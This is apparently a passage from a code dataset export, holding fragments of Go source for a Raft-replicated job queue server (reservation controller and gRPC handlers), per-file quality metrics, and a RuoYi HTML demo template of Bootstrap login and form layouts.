responded[proxyId] = true } // send a nil response back to proxies which don't have // any responses to handle. for proxyId, respCh := range rctrl.connProxies { if _, ok := responded[proxyId]; !ok { respCh <- &ProxyResp{ RespType: Reservation, Reservations: nil, Err: nil, } } } } case jreq := <-rctrl.proxyJoinCh: logc.Debugf("join-req proxyID=%v", jreq.proxyID) if _, ok := rctrl.connProxies[jreq.proxyID]; ok { logc.Errorf("join-req proxy with id = %v exists", jreq.proxyID) jreq.respCh <- &ProxyResp{ RespType: Join, Reservations: nil, Err: ErrProxyExists, } close(jreq.respCh) } else { rctrl.connProxies[jreq.proxyID] = jreq.respCh jreq.respCh <- &ProxyResp{ RespType: Join, Reservations: nil, Err: nil, } } case lreq := <-rctrl.proxyLeaveCh: logc.Debugf("leave-req proxyID=%v", lreq.proxyID) if respCh, ok := rctrl.connProxies[lreq.proxyID]; !ok { logc.Errorf("leave-req proxy with id = %v does not exists", lreq.proxyID) } else { respCh <- &ProxyResp{ RespType: Leave, Reservations: nil, Err: nil, } close(respCh) delete(rctrl.connProxies, lreq.proxyID) logc.Infof("leave-req deleted entry with proxyID=%v", lreq.proxyID) } } } } func (rctrl *ReservationsController) Stop() { rctrl.doneCh <- true close(rctrl.doneCh) } // ////////////////////////////////////////////////////////////////// type ProxyRespType int const ( Unknown ProxyRespType = iota Join Leave Reservation ) func (p ProxyRespType) String() string { return [...]string{"Unknown", "Join", "Leave", "Reservation"}[p] } type ProxyResp struct { RespType ProxyRespType Reservations []*v1.Reservation Err error } type ProxyJoinReq struct { proxyID string respCh chan *ProxyResp } type ProxyLeaveReq struct { proxyID string } //go:generate go run github.com/maxbrunsfeld/counterfeiter/v6 . JsmTick type JsmTick interface { Tick() (*v1.TickResponse, error) }
7,092
reservations_controller
go
en
go
code
{"qsc_code_num_words": 783, "qsc_code_num_chars": 7092.0, "qsc_code_mean_word_length": 5.54150702, "qsc_code_frac_words_unique": 0.28863346, "qsc_code_frac_chars_top_2grams": 0.01474994, "qsc_code_frac_chars_top_3grams": 0.0265038, "qsc_code_frac_chars_top_4grams": 0.01521088, "qsc_code_frac_chars_dupe_5grams": 0.18944457, "qsc_code_frac_chars_dupe_6grams": 0.05254667, "qsc_code_frac_chars_dupe_7grams": 0.05254667, "qsc_code_frac_chars_dupe_8grams": 0.05254667, "qsc_code_frac_chars_dupe_9grams": 0.02996082, "qsc_code_frac_chars_dupe_10grams": 0.02996082, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00166174, "qsc_code_frac_chars_whitespace": 0.23632262, "qsc_code_size_file_byte": 7092.0, "qsc_code_num_lines": 244.0, "qsc_code_num_chars_line_max": 103.0, "qsc_code_num_chars_line_mean": 29.06557377, "qsc_code_frac_chars_alphabet": 0.79431315, "qsc_code_frac_chars_comments": 0.37619853, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.18589744, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.13698011, "qsc_code_frac_chars_long_word_length": 0.02938517, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.03846154, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.10897436, "qsc_codego_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/basic.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('基本表单')" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-sm-7"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>基本表单 <small>简单登录表单示例</small></h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div class="row"> <div class="col-sm-6 b-r"> <h3 class="m-t-none m-b">登录</h3> <p>欢迎登录本站(⊙o⊙)</p> <form role="form"> <div class="form-group"> <label>用户名</label> <input type="email" placeholder="请输入您注册的E-mail" class="form-control"> </div> <div class="form-group"> <label>密码</label> <input type="password" placeholder="请输入密码" class="form-control"> </div> <div> <button class="btn btn-sm btn-primary pull-right m-t-n-xs" type="submit"><strong>登 录</strong> </button> <label> <input type="checkbox">自动登录</label> </div> </form> </div> <div class="col-sm-6"> <h4>还不是会员?</h4> <p>您可以注册一个新账户</p> <p class="text-center"> <a href="#"><i class="fa fa-sign-in big-icon"></i></a> </p> </div> </div> </div> </div> </div> <div class="col-sm-5"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>横向表单</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <form class="form-horizontal"> <p>欢迎登录本站(⊙o⊙)</p> <div class="form-group"> <label class="col-sm-3 control-label">用户名:</label> <div class="col-sm-8"> <input type="email" placeholder="用户名" class="form-control"> <span class="help-block m-b-none">请输入您注册时所填的E-mail</span> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">密码:</label> <div class="col-sm-8"> <input type="password" placeholder="密码" class="form-control"> </div> </div> <div class="form-group"> <div class="col-sm-offset-3 col-sm-8"> <button class="btn btn-sm btn-white" type="submit">登 录</button> </div> </div> </form> </div> </div> </div> </div> <div class="row"> <div class="col-sm-8"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>内联表单</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <form role="form" class="form-inline"> <div class="form-group"> <label for="exampleInputEmail2" class="sr-only">用户名</label> <input type="email" placeholder="请输入用户名" id="exampleInputEmail2" class="form-control"> </div> <div class="form-group"> <label for="exampleInputPassword2" class="sr-only">密码</label> <input type="password" placeholder="请输入密码" id="exampleInputPassword2" class="form-control"> </div> <div class="checkbox m-l m-r-xs"> <label> <input type="checkbox"><i></i> 自动登录</label> </div> <button class="btn btn-white" type="submit">登录</button> </form> </div> </div> </div> <div class="col-sm-4"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>弹出表单 <small>弹出框登录示例</small></h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div class="text-center"> <a data-toggle="modal" class="btn btn-primary" href="#modal-form">打开登录窗口</a> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>所有表单元素 <small>包括自定义样式的复选和单选按钮</small></h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <form method="get" class="form-horizontal"> <div class="form-group"> <label class="col-sm-2 control-label">普通</label> <div class="col-sm-10"> <input type="text" class="form-control"> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">带说明信息</label> <div class="col-sm-10"> <input type="text" class="form-control"> <span class="help-block m-b-none">帮助文本,可能会超过一行,以块级元素显示</span> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">密码</label> <div class="col-sm-10"> <input type="password" class="form-control" name="password"> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">提示</label> <div class="col-sm-10"> <input type="text" placeholder="提示信息" class="form-control"> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">禁用</label> <div class="col-sm-10"> <input type="text" disabled="" placeholder="已被禁用" class="form-control"> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">静态控制</label> <div class="col-sm-10"> <p class="form-control-static">ruoyi.vip</p> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">复选框&amp;单选框 <br/> <small class="text-navy">普通Bootstrap元素</small> </label> <div class="col-sm-10"> <div class="checkbox"> <label> <input type="checkbox" value="">选项1</label> </div> <div class="radio"> <label> <input type="radio" checked="" value="option1" id="optionsRadios1" name="optionsRadios">选项1</label> </div> <div class="radio"> <label> <input type="radio" value="option2" id="optionsRadios2" name="optionsRadios">选项2</label> </div> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">内联复选框</label> <div class="col-sm-10"> <label class="checkbox-inline"> <input type="checkbox" value="option1" id="inlineCheckbox1">a</label> <label class="checkbox-inline"> <input type="checkbox" value="option2" id="inlineCheckbox2">b</label> <label class="checkbox-inline"> <input type="checkbox" value="option3" id="inlineCheckbox3">c</label> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">复选框&amp;单选框 <br/><small class="text-navy">自定义样式</small> </label> <div class="col-sm-10"> <div class="checkbox check-box"> <label> <input type="checkbox" value=""> <i></i> 选项1</label> </div> <div class="checkbox check-box"> <label> <input type="checkbox" value="" checked=""> <i></i> 选项2(选中)</label> </div> <div class="checkbox check-box"> <label> <input type="checkbox" value="" disabled="" checked=""> <i></i> 选项3(选中并禁用)</label> </div> <div class="checkbox check-box"> <label> <input type="checkbox" value="" disabled=""> <i></i> 选项4(禁用)</label> </div> <div class="radio check-box"> <label> <input type="radio" value="option1" name="a"> <i></i> 选项1</label> </div> <div class="radio check-box"> <label> <input type="radio" checked="" value="option2" name="a"> <i></i> 选项2(选中)</label> </div> <div class="radio check-box"> <label> <input type="radio" disabled="" checked="" value="option2"> <i></i> 选项3(选中并禁用)</label> </div> <div class="radio check-box"> <label> <input type="radio" disabled="" name="a"> <i></i> 选项4(禁用)</label> </div> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">内联复选框</label> <div class="col-sm-10"> <label class="checkbox-inline check-box"> <input type="checkbox" value="option1">a</label> <label class="checkbox-inline check-box"> <input type="checkbox" value="option2">b</label> <label class="checkbox-inline check-box"> <input type="checkbox" value="option3">c</label> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">Select</label> <div class="col-sm-10"> <select class="form-control m-b" name="account"> <option>选项 1</option> <option>选项 2</option> <option>选项 3</option> <option>选项 4</option> </select> <div class="col-sm-4 m-l-n"> <select class="form-control" multiple=""> <option>选项 1</option> <option>选项 2</option> <option>选项 3</option> <option>选项 4</option> </select> </div> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group has-success"> <label class="col-sm-2 control-label">验证通过</label> <div class="col-sm-10"> <input type="text" class="form-control"> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group has-warning"> <label class="col-sm-2 control-label">未填写</label> <div class="col-sm-10"> <input type="text" class="form-control"> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group has-error"> <label class="col-sm-2 control-label">验证未通过</label> <div class="col-sm-10"> <input type="text" class="form-control"> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">自定义尺寸</label> <div class="col-sm-10"> <input type="text" placeholder=".input-lg" class="form-control input-lg m-b"> <input type="text" placeholder="Default input" class="form-control m-b"> <input type="text" placeholder=".input-sm" class="form-control input-sm"> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">列尺寸</label> <div class="col-sm-10"> <div class="row"> <div class="col-md-2"> <input type="text" placeholder=".col-md-2" class="form-control"> </div> <div class="col-md-3"> <input type="text" placeholder=".col-md-3" class="form-control"> </div> <div class="col-md-4"> <input type="text" placeholder=".col-md-4" class="form-control"> </div> </div> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">文本框组</label> <div class="col-sm-10"> <div class="input-group m-b"><span class="input-group-addon">@</span> <input type="text" placeholder="用户名" class="form-control"> </div> <div class="input-group m-b"> <input type="text" class="form-control"> <span class="input-group-addon">.00</span> </div> <div class="input-group m-b"><span class="input-group-addon">&yen;</span> <input type="text" class="form-control"> <span class="input-group-addon">.00</span> </div> <div class="input-group m-b"><span class="input-group-addon"> <input type="checkbox"> </span> <input type="text" class="form-control"> </div> <div class="input-group"><span class="input-group-addon"> <input type="radio"> </span> <input type="text" class="form-control"> </div> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">按钮插件</label> <div class="col-sm-10"> <div class="input-group m-b"><span class="input-group-btn"> <button type="button" class="btn btn-primary">搜</button> </span> <input type="text" class="form-control"> </div> <div class="input-group"> <input type="text" class="form-control"> <span class="input-group-btn"> <button type="button" class="btn btn-primary">搜索 </button> </span> </div> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">带下拉框</label> <div class="col-sm-10"> <div class="input-group m-b"> <div class="input-group-btn"> <button data-toggle="dropdown" class="btn btn-white dropdown-toggle" type="button">操作 <span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> <li><a href="#">选项3</a> </li> <li class="divider"></li> <li><a href="#">选项4</a> </li> </ul> </div> <input type="text" class="form-control"> </div> <div class="input-group"> <input type="text" class="form-control"> <div class="input-group-btn"> <button data-toggle="dropdown" class="btn btn-white dropdown-toggle" type="button">操作 <span class="caret"></span> </button> <ul class="dropdown-menu pull-right"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> <li><a href="#">选项3</a> </li> <li class="divider"></li> <li><a href="#">选项4</a> </li> </ul> </div> </div> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <label class="col-sm-2 control-label">分段</label> <div class="col-sm-10"> <div class="input-group m-b"> <div class="input-group-btn"> <button tabindex="-1" class="btn btn-white" type="button">操作</button> <button data-toggle="dropdown" class="btn btn-white dropdown-toggle" type="button"><span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> <li><a href="#">选项3</a> </li> <li class="divider"></li> <li><a href="#">选项4</a> </li> </ul> </div> <input type="text" class="form-control"> </div> <div class="input-group"> <input type="text" class="form-control"> <div class="input-group-btn"> <button tabindex="-1" class="btn btn-white" type="button">操作</button> <button data-toggle="dropdown" class="btn btn-white dropdown-toggle" type="button"><span class="caret"></span> </button> <ul class="dropdown-menu pull-right"> 分段 </ul> </div> </div> </div> </div> <div class="hr-line-dashed"></div> <div class="form-group"> <div class="col-sm-4 col-sm-offset-2"> <button class="btn btn-primary" type="submit">保存内容</button> <button class="btn btn-white" type="submit">取消</button> </div> </div> </form> </div> </div> </div> </div> </div> <div id="modal-form" class="modal fade" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-body"> <div class="row"> <div class="col-sm-6 b-r"> <h3 class="m-t-none m-b">登录</h3> <p>欢迎登录本站(⊙o⊙)</p> <form role="form"> <div class="form-group"> <label>用户名:</label> <input type="email" placeholder="请输入用户名" class="form-control"> </div> <div class="form-group"> <label>密码:</label> <input type="password" placeholder="请输入密码" class="form-control"> </div> <div> <button class="btn btn-sm btn-primary pull-right m-t-n-xs" type="submit"><strong>登录</strong> </button> <label> <input type="checkbox" class="i-checks">自动登录</label> </div> </form> </div> <div class="col-sm-6"> <h4>还不是会员?</h4> <p>您可以注册一个账户</p> <p class="text-center"> <a href="#"><i class="fa fa-sign-in big-icon"></i></a> </p> </div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> </body> </html>
32,900
basic
html
en
html
code
{"qsc_code_num_words": 2467, "qsc_code_num_chars": 32900.0, "qsc_code_mean_word_length": 4.01094447, "qsc_code_frac_words_unique": 0.08877179, "qsc_code_frac_chars_top_2grams": 0.11723092, "qsc_code_frac_chars_top_3grams": 0.08337544, "qsc_code_frac_chars_top_4grams": 0.04466902, "qsc_code_frac_chars_dupe_5grams": 0.86811521, "qsc_code_frac_chars_dupe_6grams": 0.84284992, "qsc_code_frac_chars_dupe_7grams": 0.80414351, "qsc_code_frac_chars_dupe_8grams": 0.76382011, "qsc_code_frac_chars_dupe_9grams": 0.73612936, "qsc_code_frac_chars_dupe_10grams": 0.70530571, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01227171, "qsc_code_frac_chars_whitespace": 0.57893617, "qsc_code_size_file_byte": 32900.0, "qsc_code_num_lines": 593.0, "qsc_code_num_chars_line_max": 161.0, "qsc_code_num_chars_line_mean": 55.48060708, "qsc_code_frac_chars_alphabet": 0.70158089, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.78621908, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.15489362, "qsc_code_frac_chars_long_word_length": 0.0012766, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.0399696, "qsc_codehtml_num_chars_text": 1315.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 1, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 1, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1xyz/coolbeans
cluster/server/jsm_server.go
package server import ( v1 "github.com/1xyz/coolbeans/api/v1" "github.com/armon/go-metrics" pb "github.com/golang/protobuf/proto" log "github.com/sirupsen/logrus" "golang.org/x/net/context" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" "strings" "time" ) // ReplicatedJsm represents a JobStateMachine that is replicated via RAFT type ReplicatedJsm interface { // Apply the provided request ApplyOp(req *v1.ApplyOpRequest) *v1.ApplyOpResponse // Ask the server for the current clock (now in secs) NowSeconds() int64 // Returns true if this node is a leader IsLeader() bool } // JSMServer exports the ReplicatedJSM as a callable server. type JSMServer struct { v1.UnimplementedJobStateMachineServer r ReplicatedJsm ctrl *ReservationsController } // NewJSMServer returns a pointer to a new JSMServer struct. func NewJSMServer(r ReplicatedJsm) *JSMServer { s := &JSMServer{ r: r, } s.ctrl = NewReservationsController(s) return s } // RunController runs the ReservationsController in a separate go-routine. func (j *JSMServer) RunController() { if err := j.ctrl.Run(); err != nil { log.Panicf("j.ctrl.Run() Err.=%v", err) } } // Bury allows a specific job to be buried func (j *JSMServer) Bury(ctx context.Context, req *v1.BuryRequest) (*v1.Empty, error) { var resp v1.Empty if err := j.performApply(v1.OpType_BURY, req, &resp); err != nil { log.Errorf("jsmServer.Bury: performApply. Err=%v", err) return nil, err } return &resp, nil } // CheckClientState returns the current state of a specific proxy client. func (j *JSMServer) CheckClientState(ctx context.Context, req *v1.CheckClientStateRequest) (*v1.CheckClientStateResponse, error) { var resp v1.CheckClientStateResponse log.Infof("CheckClientState: proxyID=%v", req.ProxyId) if err := j.performApply(v1.OpType_CHECK_CLIENT_STATE, req, &resp); err != nil { log.Errorf("CheckClientState: performApply. Err=%v", err) return nil, err } return &resp, nil } // Delete removes a job func (j *JSMServer) Delete(ctx context.Context, req *v1.DeleteRequest) (*v1.Empty, error) { var resp v1.Empty if err := j.performApply(v1.OpType_DELETE, req, &resp); err != nil { log.WithField("method", "Delete").Errorf("performApply. Err=%v", err) return nil, err } return &resp, nil } // GetJob returns a job func (j *JSMServer) GetJob(ctx context.Context, req *v1.GetJobRequest) (*v1.GetJobResponse, error) { var resp v1.GetJobResponse if err := j.performApply(v1.OpType_GET_JOB, req, &resp); err != nil { log.Errorf("jsmServer.GetJob: performApply. Err=%v", err) return nil, err } return &resp, nil } func (j *JSMServer) peek(req *v1.PeekRequest, opType v1.OpType) (*v1.PeekResponse, error) { var resp v1.PeekResponse if err := j.performApply(opType, req, &resp); err != nil { log.Errorf("jsmServer.Peek: opTyoe=%v performApply. Err=%v", opType, err) return nil, err } return &resp, nil } // PeekBuried peeks and returns the first buried job in the specified tube func (j *JSMServer) PeekBuried(ctx context.Context, req *v1.PeekRequest) (*v1.PeekResponse, error) { return j.peek(req, v1.OpType_PEEK_BURIED) } // PeekDelayed peeks and returns the first delayed job in the specified tube func (j *JSMServer) PeekDelayed(ctx context.Context, req *v1.PeekRequest) (*v1.PeekResponse, error) { return j.peek(req, v1.OpType_PEEK_DELAYED) } // PeekReady peeks and returns the first ready job in the specified tube func (j *JSMServer) PeekReady(ctx context.Context, req *v1.PeekRequest) (*v1.PeekResponse, error) { return j.peek(req, v1.OpType_PEEK_READY) } // Kick moves a specific buried job to back to the ready queue func (j *JSMServer) Kick(ctx context.Context, req *v1.KickRequest) (*v1.Empty, error) { var resp v1.Empty if err := j.performApply(v1.OpType_KICK, req, &resp); err != nil { log.Errorf("jsmServer.Kick: performApply. Err=%v", err) return nil, err } return &resp, nil } // KickN moves N jobs from the top of the buried queue to the ready queue. func (j *JSMServer) KickN(ctx context.Context, req *v1.KickNRequest) (*v1.KickNResponse, error) { var resp v1.KickNResponse if err := j.performApply(v1.OpType_KICKN, req, &resp); err != nil { log.Errorf("jsmServer.Kick: performApply. Err=%v", err) return nil, err } return &resp, nil } // ListTubes returns a list of tubes currently available. func (j *JSMServer) ListTubes(ctx context.Context, req *v1.Empty) (*v1.ListTubesResponse, error) { var resp v1.ListTubesResponse if err := j.performApply(v1.OpType_LIST_TUBES, req, &resp); err != nil { log.Errorf("jsmServer.ListTubes: performApply. Err=%v", err) return nil, err } return &resp, nil } // Put creates a new job. func (j *JSMServer) Put(ctx context.Context, req *v1.PutRequest) (*v1.PutResponse, error) { t := time.Now() var resp v1.PutResponse if err := j.performApply(v1.OpType_PUT, req, &resp); err != nil { log.WithField("method", "Put").Errorf("performApply. Err=%v", err) return nil, err } log.Infof("jsm.Put took %v sec", time.Since(t)) return &resp, nil } // Reserve allows a client to reserve a job for processing. func (j *JSMServer) Reserve(ctx context.Context, req *v1.ReserveRequest) (*v1.ReserveResponse, error) { var resp v1.ReserveResponse log.Infof("Reserve: proxyID=%v clientID=%v timeout=%v watchedTubes=%v", req.ProxyId, req.ClientId, req.TimeoutSecs, req.WatchedTubes) if err := j.performApply(v1.OpType_RESERVE, req, &resp); err != nil { log.WithField("method", "Reserve").Errorf("performApply. Err=%v", err) return nil, err } log.Infof("Reserve: proxyID=%v clientID=%v timeout=%v watchedTubes=%v status=%v", req.ProxyId, req.ClientId, req.TimeoutSecs, req.WatchedTubes, resp.Reservation.Status) return &resp, nil } // Release allows a client to return a job from being reserved. func (j *JSMServer) Release(ctx context.Context, req *v1.ReleaseRequest) (*v1.Empty, error) { var resp v1.Empty if err := j.performApply(v1.OpType_RELEASE, req, &resp); err != nil { log.WithField("method", "Release").Errorf("performApply. Err=%v", err) return nil, err } return &resp, nil } // GetStatsJobYaml returns a specific job's statistics as YAML formatted response. func (j *JSMServer) GetStatsJobYaml(ctx context.Context, req *v1.GetStatsJobYamlRequest) (*v1.GetStatsJobYamlResponse, error) { var resp v1.GetStatsJobYamlResponse if err := j.performApply(v1.OpType_STATS_JOB_YAML, req, &resp); err != nil { log.Errorf("jsmServer.GetStatsJobYaml: performApply: err = %v", err) return nil, err } return &resp, nil } // GetStatsTubeYaml returns a specific tube's statistics as a YAML formatted response. func (j *JSMServer) GetStatsTubeYaml(ctx context.Context, req *v1.GetStatsTubeYamlRequest) (*v1.GetStatsTubeYamlResponse, error) { var resp v1.GetStatsTubeYamlResponse if err := j.performApply(v1.OpType_STATS_TUBE_YAML, req, &resp); err != nil { log.Errorf("jsmServer.GetStatsTubeYaml: performApply: err = %v", err) return nil, err } return &resp, nil } // GetStatsYaml returns the server statistics as a YAML formatted response. func (j *JSMServer) GetStatsYaml(ctx context.Context, req *v1.Empty) (*v1.GetStatsYamlResponse, error) { var resp v1.GetStatsYamlResponse if err := j.performApply(v1.OpType_STATS_YAML, req, &resp); err != nil { log.Errorf("jsmServer.GetStatsYaml: performApply: err = %v", err) return nil, err } return &resp, nil } // Tick progresses the underlying job state machine func (j *JSMServer) Tick() (*v1.TickResponse, error) { if !j.r.IsLeader() { return nil, ErrNotLeader } var resp v1.TickResponse if err := j.performApply(v1.OpType_TICK, &v1.Empty{}, &resp); err != nil { log.WithField("method", "Reserve").Errorf("performApply. Err=%v", err) return nil, err } return &resp, nil } // Touch allows a client to continue to its reservation by the job's TTR func (j *JSMServer) Touch(ctx context.Context, req *v1.TouchRequest) (*v1.Empty, error) { var resp v1.Empty err := j.performApply(v1.OpType_TOUCH, req, &resp) if err != nil { return nil, err } return &resp, nil } // StreamReserveUpdates returns back a continuous stream of reservation updates from the cluster node // back to a specific proxy. func (j *JSMServer) StreamReserveUpdates(req *v1.ReserveUpdateRequest, stream v1.JobStateMachine_StreamReserveUpdatesServer) error { log.Infof("StreamReserveUpdates: proxyID=%v", req.ProxyId) logc := log.WithField("method", "StreamReserveUpdates") respCh, err := j.ctrl.Register(req.ProxyId) if err != nil { logc.Errorf("ctrl.Register, Err-%v", err) if err == ErrProxyExists { return status.Errorf(codes.InvalidArgument, "proxy with id=%v exists", req.ProxyId) } return status.Errorf(codes.Internal, "Err = %v", err) } defer j.ctrl.UnRegister(req.ProxyId, respCh) for r := range respCh { ctx := stream.Context() if ctx != nil { select { case <-ctx.Done(): return status.Errorf(codes.Canceled, "Operation cancelled") default: } } if r.RespType != Reservation { return status.Errorf(codes.Internal, "inconsistent state = %v", r.RespType) } else if r.Err != nil { return status.Errorf(codes.Internal, "Err = %v", err) } else if r.Reservations == nil || len(r.Reservations) == 0 { log.Debugf("no Reservations found") } for _, resv := range r.Reservations { if err := stream.Send(&v1.ReserveResponse{Reservation: resv}); err != nil { logc.Errorf("stream.Send(..) Err=%v", err) return err } } } return nil } func (j *JSMServer) performApply(opType v1.OpType, req pb.Message, resp pb.Message) error { name := strings.ToLower(opType.String()) metrics.IncrCounter([]string{"jsm", name}, float32(1)) defer 